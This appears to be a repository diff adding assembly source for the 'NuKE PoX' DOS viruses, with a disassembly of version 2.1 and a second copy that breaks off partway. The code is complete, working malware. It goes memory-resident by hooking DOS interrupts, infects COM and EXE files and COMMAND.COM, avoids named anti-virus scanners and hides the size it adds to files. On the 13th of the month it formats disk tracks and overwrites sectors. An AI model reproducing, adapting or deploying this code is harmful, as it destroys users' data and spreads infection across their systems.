;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check to see if an `Anti-Viral' Product is being executed.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
check_name proc near
push si
push cx
mov si,dx
mov cx,128h
loop_me:
cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String
je next_ok
inc si
loop loop_me
next_ok:
cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT)
jne next_1 ;Naaa
cmp ds:[si-4],'RP'
je bad_file ;Yupe...
next_1:
cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee)
jne next_2 ;Naaa
cmp ds:[si-4],'CS'
je bad_file ;Yupe...
next_2:
cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE
jne next_3 ;Naaa
cmp ds:[si-4],'EL'
je bad_file ;Yupe...
next_3:
pop cx
pop si ;good file Set CARRY FLAG
clc ;to normal
retn
bad_file:
pop cx ;Bad file, Set CARRY FLAG
pop si ;ON!!!
stc
retn
check_name endp
command db "C:\COMMAND.COM",0 ;What to infect!
old_time dw ?
old_date dw ?
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h
db 30h DUP (?)
msg db "NukE PoX V1.1 - R.S"
last:
seg_a ends
end start

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,941 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ NPOX21 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 28-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 16h
data_2e equ 3 ;*
data_32e equ 103h ;*
data_33e equ 1 ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
npox21 proc far
start:
jmp short $+3 ; delay for I/O
nop
call sub_1
npox21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bp
sub bp,106h
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp dl,0Dh
je loc_2 ; Jump if equal
jmp short loc_5
db 90h
loc_2:
mov ch,0
locloop_3:
mov ah,5
mov dh,0
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
inc ch
jc loc_4 ; Jump if carry Set
cmp ch,10h
loopnz locloop_3 ; Loop if zf=0, cx>0
loc_4:
mov al,2
mov cx,20h
mov dx,0
int 26h ; Absolute disk write, drive al
; if disk under 32MB, dx=start
; cx=#sectors, ds:bx=buffer
; else cx=-1, ds:dx=parm block
;* jmp far ptr loc_66 ;*
db 0EAh,0F0h,0FFh,0FFh,0FFh
loc_5:
mov ax,0ABDCh
int 21h ; ??INT Non-standard interrupt
cmp bx,0ABDCh
je loc_6 ; Jump if equal
push cs
pop ds
mov cx,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_10+2[bp],es
mov cs:data_10[bp],bx
dec cx
mov es,cx
mov bx,es:data_2e
mov dx,696h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
jc loc_6 ; Jump if carry Set
mov ah,48h ; 'H'
dec dx
mov bx,dx
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jc loc_6 ; Jump if carry Set
dec ax
mov es,ax
mov cx,8
mov es:data_33e,cx
sub ax,0Fh
mov di,data_32e
mov es,ax
mov si,bp
add si,103h
mov cx,696h
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
mov ax,2521h
;* mov dx,offset loc_65 ;*
db 0BAh, 8Eh, 02h
push es
pop ds
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_6:
push cs
pop ds
cmp cs:data_21[bp],5A4Dh
je loc_7 ; Jump if equal
mov bx,offset data_21
add bx,bp
mov ax,[bx]
mov word ptr ds:[100h],ax
inc bx
inc bx
mov al,[bx]
mov byte ptr ds:[102h],al
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,offset start
push ax
retn
db 'Death to Separatist'
db 0
loc_7:
mov bx,word ptr cs:data_12[bp]
mov dx,cs
sub dx,bx
mov ax,dx
add ax,cs:data_14[bp]
add dx,cs:data_16[bp]
mov bx,cs:data_13[bp]
mov word ptr cs:[236h][bp],bx
mov word ptr cs:[238h][bp],ax
mov ax,cs:data_13[bp]
mov word ptr cs:[22Ch][bp],dx
mov word ptr cs:[232h][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,0
cli ; Disable interrupts
mov ss,ax
mov sp,0
sti ; Enable interrupts
;* jmp far ptr loc_1 ;*
sub_1 endp
db 0EAh, 00h, 00h, 00h, 00h
loc_8:
call sub_2
test al,al
jnz loc_ret_15 ; Jump if not zero
push ax
push bx
push es
mov ah,51h ; 'Q'
int 21h ; DOS Services ah=function 51h
; get active PSP segment in bx
;* undocumented function
mov es,bx
cmp bx,es:data_1e
jne loc_14 ; Jump if not equal
mov bx,dx
mov al,[bx]
push ax
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
pop ax
inc al
jnz loc_13 ; Jump if not zero
add bx,7
loc_13:
mov ax,es:[bx+17h]
and ax,1Fh
cmp al,1Eh
jne loc_14 ; Jump if not equal
and byte ptr es:[bx+17h],0E0h
sub word ptr es:[bx+1Dh],696h
sbb word ptr es:[bx+1Fh],0
loc_14:
pop es
pop bx
pop ax
loc_ret_15:
iret ; Interrupt return
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
pushf ; Push flags
call dword ptr cs:data_10
retn
sub_2 endp
db 0EBh,0B0h
data_10 dw 0, 0 ; Data table (indexed access)
db 80h,0FCh, 11h, 74h,0F5h, 80h
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
db 74h, 12h, 80h,0FCh, 3Eh, 74h
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
db 8Bh,0D8h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
jmp dword ptr cs:data_10
db 0CBh
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
db 8Ah, 02h
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
db 51h, 52h, 1Eh,0E8h, 00h, 03h
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
db 00h, 43h,0E8h,0A0h,0FFh, 72h
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
db 80h,0E1h,0FEh,0B8h, 01h, 43h
db 0E8h, 90h,0FFh
db 72h, 66h
loc_21:
mov ax,3D02h
call sub_2
loc_22:
jc loc_24 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_24 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_23 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_23 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_25 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_24 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_23:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_24:
pop ds
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt return
loc_25:
call sub_15
jc loc_24 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_23
sub_3 endp
data_12 db 0, 0 ; Data table (indexed access)
data_13 dw 0 ; Data table (indexed access)
data_14 dw 0 ; Data table (indexed access)
data_15 dw 0
data_16 dw 0 ; Data table (indexed access)
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
call sub_8
jnc loc_26 ; Jump if carry=0
call sub_9
jnc loc_26 ; Jump if carry=0
retn
loc_26:
push ax
mov ax,3D02h
call sub_2
jnc loc_27 ; Jump if carry=0
pop ax
iret ; Interrupt return
loc_27:
push bx
push cx
push dx
push ds
mov bx,ax
call sub_12
jnz loc_28 ; Jump if not zero
call sub_17
loc_28:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
cmp bx,0
je loc_ret_29 ; Jump if equal
cmp bx,5
ja loc_30 ; Jump if above
loc_ret_29:
retn
loc_30:
push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2Fh ; DOS Internal services
;* undocumented function
mov ax,1216h
mov bl,es:[di]
int 2Fh ; DOS Internal services
;* undocumented function
pop bx
add di,11h
mov byte ptr es:[di-0Fh],2
add di,17h
cmp word ptr es:[di],4F43h
jne loc_31 ; Jump if not equal
cmp byte ptr es:[di+2],4Dh ; 'M'
jne loc_34 ; Jump if not equal
jmp short loc_35
db 90h
loc_31:
cmp word ptr es:[di],5845h
jne loc_34 ; Jump if not equal
cmp byte ptr es:[di+2],45h ; 'E'
jne loc_34 ; Jump if not equal
cmp word ptr es:[di-8],4353h
jne loc_32 ; Jump if not equal
cmp word ptr es:[di-6],4E41h
je loc_34 ; Jump if equal
loc_32:
cmp word ptr es:[di-8],2D46h
jne loc_33 ; Jump if not equal
cmp word ptr es:[di-6],5250h
je loc_34 ; Jump if equal
loc_33:
cmp word ptr es:[di-8],4C43h
jne loc_35 ; Jump if not equal
cmp word ptr es:[di-6],4145h
jne loc_35 ; Jump if not equal
loc_34:
jmp short loc_37
db 90h
loc_35:
call sub_12
jz loc_37 ; Jump if zero
push cs
pop ds
mov data_18,cx
mov data_19,dx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
jc loc_36 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_36 ; Jump if carry Set
cmp data_21,5A4Dh
je loc_38 ; Jump if equal
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_36 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_36:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
loc_37:
pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
retn
loc_38:
call sub_15
jc loc_36 ; Jump if carry Set
call sub_16
call sub_13
jmp short loc_36
sub_5 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
mov ah,40h ; '@'
mov dx,103h
mov cx,696h
call sub_2
jc loc_39 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_39 ; Jump if carry Set
clc ; Clear carry flag
retn
loc_39:
stc ; Set carry flag
retn
sub_6 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
push ax
push bx
push cx
push dx
push ds
mov ax,4300h
call sub_2
test cl,1
jz loc_40 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_41 ; Jump if carry Set
loc_40:
mov ax,3D02h
call sub_2
jc loc_41 ; Jump if carry Set
mov bx,ax
call sub_12
jnz loc_41 ; Jump if not zero
call sub_17
loc_41:
pop ds
pop dx
pop cx
pop bx
pop ax
retn
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_42:
cmp byte ptr [si],2Eh ; '.'
je loc_43 ; Jump if equal
inc si
loop locloop_42 ; Loop if cx > 0
loc_43:
cmp word ptr [si+1],4F43h
jne loc_44 ; Jump if not equal
cmp byte ptr [si+3],4Dh ; 'M'
je loc_46 ; Jump if equal
loc_44:
cmp word ptr [si+1],6F63h
jne loc_45 ; Jump if not equal
cmp byte ptr [si+3],6Dh ; 'm'
je loc_46 ; Jump if equal
loc_45:
pop cx
pop si
stc ; Set carry flag
retn
loc_46:
pop cx
pop si
clc ; Clear carry flag
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_47:
cmp byte ptr [si],2Eh ; '.'
je loc_48 ; Jump if equal
inc si
loop locloop_47 ; Loop if cx > 0
loc_48:
cmp word ptr [si+1],5845h
jne loc_49 ; Jump if not equal
cmp byte ptr [si+3],45h ; 'E'
je loc_51 ; Jump if equal
loc_49:
cmp word ptr [si+1],7865h
jne loc_50 ; Jump if not equal
cmp byte ptr [si+3],65h ; 'e'
je loc_51 ; Jump if equal
loc_50:
pop cx
pop si
stc ; Set carry flag
retn
loc_51:
pop cx
pop si
clc ; Clear carry flag
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
push bx
push cx
mov cl,0Ch
shl dx,cl ; Shift w/zeros fill
xchg ax,bx
mov cl,4
shr bx,cl ; Shift w/zeros fill
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
push si
push cx
mov si,dx
mov cx,256h
locloop_52:
cmp byte ptr [si],2Eh ; '.'
je loc_53 ; Jump if equal
inc si
loop locloop_52 ; Loop if cx > 0
loc_53:
cmp word ptr [si-2],4E41h
jne loc_54 ; Jump if not equal
cmp word ptr [si-4],4353h
je loc_57 ; Jump if equal
loc_54:
cmp word ptr [si-2],4E41h
jne loc_55 ; Jump if not equal
cmp word ptr [si-4],454Ch
je loc_57 ; Jump if equal
loc_55:
cmp word ptr [si-2],544Fh
jne loc_56 ; Jump if not equal
cmp word ptr [si-4],5250h
je loc_57 ; Jump if equal
loc_56:
pop cx
pop si
clc ; Clear carry flag
retn
loc_57:
pop cx
pop si
stc ; Set carry flag
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
mov ax,5700h
call sub_2
mov al,cl
or cl,1Fh
dec cx
xor al,cl
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
push bx
push cx
mov cl,7
shl dx,cl ; Shift w/zeros fill
mov bx,ax
mov cl,9
shr bx,cl ; Shift w/zeros fill
add dx,bx
and ax,1FFh
jz loc_58 ; Jump if zero
inc dx
loc_58:
pop cx
pop bx
mov cs:data_22,ax
mov cs:data_24,dx
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
call sub_2
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
pushf ; Push flags
push ax
push bx
push cx
push dx
push ds
push es
push ss
push sp
push cs
pop ds
mov dx,74Bh
mov ax,4300h
call sub_2
jc loc_60 ; Jump if carry Set
test cl,1
jz loc_59 ; Jump if zero
and cl,0FEh
mov ax,4301h
call sub_2
jc loc_62 ; Jump if carry Set
loc_59:
mov ax,3D02h
call sub_2
loc_60:
jc loc_62 ; Jump if carry Set
mov bx,ax
call sub_12
jz loc_62 ; Jump if zero
mov data_18,cx
mov data_19,dx
mov ah,3Fh ; '?'
mov cx,3
mov dx,77Eh
call sub_2
jc loc_61 ; Jump if carry Set
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
jc loc_62 ; Jump if carry Set
mov cx,ax
sub cx,3
mov data_20,cx
call sub_6
jc loc_62 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,760h
mov cx,3
call sub_2
loc_61:
mov cx,data_18
mov dx,data_19
mov ax,5701h
call sub_2
mov ah,3Eh ; '>'
call sub_2
loc_62:
pop sp
pop ss
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
mov cx,cs:data_28
mov cs:data_13,cx
mov cx,cs:data_29
mov cs:data_14,cx
mov cx,cs:data_27
mov cs:data_15,cx
mov cx,cs:data_26
mov cs:data_16,cx
push ax
push dx
call sub_10
sub dx,cs:data_25
mov word ptr cs:data_12,dx
push ax
push dx
call sub_6
pop dx
pop ax
mov cs:data_29,dx
mov cs:data_28,ax
pop dx
pop ax
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
add ax,696h
adc dx,0
push ax
push dx
call sub_10
sub dx,cs:data_25
add ax,40h
mov cs:data_26,dx
mov cs:data_27,ax
pop dx
pop ax
retn
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
dec cx
mov cs:data_18,cx
mov cs:data_19,dx
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
call sub_2
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh
sbb cx,0
mov ax,4200h
call sub_2
push cs
pop ds
mov ah,3Fh ; '?'
mov cx,1Bh
mov dx,77Eh
call sub_2
xor cx,cx ; Zero register
xor dx,dx ; Zero register
mov ax,4200h
call sub_2
mov ah,40h ; '@'
mov dx,77Eh
mov cx,1Bh
cmp cs:data_21,5A4Dh
je loc_64 ; Jump if equal
mov cx,3
loc_64:
call sub_2
pop dx
pop cx
sub dx,696h
sbb cx,0
mov ax,4200h
call sub_2
mov ah,40h ; '@'
xor cx,cx ; Zero register
call sub_2
mov cx,cs:data_18
mov dx,cs:data_19
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov ah,3Eh ; '>'
call sub_2
retn
sub_17 endp
db 'C:\COMMAND.COM'
db 0
data_18 dw 0
data_19 dw 0
db 00h, 00h,0E9h
data_20 dw 9090h
db 'NuKE PoX V2.1 - Rock Steady'
data_21 dw 0CD90h ; Data table (indexed access)
data_22 dw 20h
data_24 dw 0
db 0, 0
data_25 dw 0
db 0, 0, 0, 0
data_26 dw 0
data_27 dw 0
db 0, 0
data_28 dw 0
data_29 dw 0
db 0, 0, 0
seg_a ends
end start

View File

@ -0,0 +1,941 @@
PAGE 59,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ NPOX21 ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 28-Sep-92 ÛÛ
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
data_1e equ 16h
data_2e equ 3 ;*
data_32e equ 103h ;*
data_33e equ 1 ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
npox21 proc far
start:
jmp short $+3 ; delay for I/O
nop
call sub_1
npox21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_1 proc near
pop bp
sub bp,106h
push ax
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ah,2Ah ; '*'
int 21h ; DOS Services ah=function 2Ah
; get date, cx=year, dh=month
; dl=day, al=day-of-week 0=SUN
cmp dl,0Dh
je loc_2 ; Jump if equal
jmp short loc_5
db 90h
loc_2:
mov ch,0
locloop_3:
mov ah,5
mov dh,0
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 05h
; format track=ch or cylindr=cx
; al=interleave, dh=head
inc ch
jc loc_4 ; Jump if carry Set
cmp ch,10h
loopnz locloop_3 ; Loop if zf=0, cx>0
loc_4:
mov al,2
mov cx,20h
mov dx,0
int 26h ; Absolute disk write, drive al
; if disk under 32MB, dx=start
; cx=#sectors, ds:bx=buffer
; else cx=-1, ds:dx=parm block
;* jmp far ptr loc_66 ;*
db 0EAh,0F0h,0FFh,0FFh,0FFh
loc_5:
mov ax,0ABDCh
int 21h ; ??INT Non-standard interrupt
cmp bx,0ABDCh
je loc_6 ; Jump if equal
push cs
pop ds
mov cx,es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr cs:data_10+2[bp],es
mov cs:data_10[bp],bx
dec cx
mov es,cx
mov bx,es:data_2e
mov dx,696h
mov cl,4
shr dx,cl ; Shift w/zeros fill
add dx,4
mov cx,es
sub bx,dx
inc cx
mov es,cx
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
jc loc_6 ; Jump if carry Set
mov ah,48h ; 'H'
dec dx
mov bx,dx
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
